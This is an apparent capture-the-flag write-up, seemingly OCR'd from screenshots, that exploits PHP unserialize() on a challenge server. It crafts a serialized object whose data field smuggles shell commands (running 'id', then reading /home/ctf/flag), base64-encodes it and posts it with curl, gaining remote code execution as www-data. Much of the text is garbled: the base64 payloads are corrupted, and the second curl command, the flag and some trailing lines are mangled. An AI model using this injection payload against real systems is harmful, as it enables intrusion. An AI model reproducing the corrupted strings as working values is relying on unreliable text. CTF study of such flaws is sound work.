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we are given an endpoint to connect to as 35.184.207.253:80 opening the endpoint

in a web browser.

we see that our input is passed to unserialize function now if we send an
serialized object of type A we see that is passed the sdata is passed to systen

function.

We can generate the test payload using the following commands.

Interactive mode enabled

php > class A {

php { public $data;

php { };

php > $a = new A;

php > $a->data = '; id; echo lol ';

php > echo base64_encode(serialize($a));
Tzox0iJBIjox0Ontz0jQ6IMRhdGEi03MEMTUGIjsgawWQ7IGVjaG8ghG9sICI7fQ==

php >

now we can send the data using curl as follows

) curl http://35.184.207.253/ --data 'data=Tzox0iJBIjoxOntz0jQ6ImMRhdGEiO3M6MTU6Ijsga
WQ7IGVjaG8ghbG9sICI7fQ=="

Data recieved<br>

uid=33(www-data) gid=33(www-data) groups=33(www-data)
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and we have Remote Code Execution on the server. We can now read the flag
using the following payload.

php > class A {

php { public $data;

php { };

php > $a = new A;

php > $a->data = '; cat /home/ctf/flag; echo lol ';

php > echo base64_encode(serialize($a));
Tzox01iJBIjoxOntz0jQ6IMRhdGEi03M6MZE6IjSsgY2FOIC90b211L2NOZi9mbGFNOYyBlY2hvIGXxVvbCA1030=

php >

L htty 5. 184. 207,253/ --data 'datasTrox0i xOnt 206 I mAhdGE 103M6AER] j 39 Y2FBICTob211LE ablGF nyBLY 2hw IGxvbCALDZES"

Data recie

ctflinsdcurd_deser!al!zut18n}
~fWerkspace/dotfiles J LI
I
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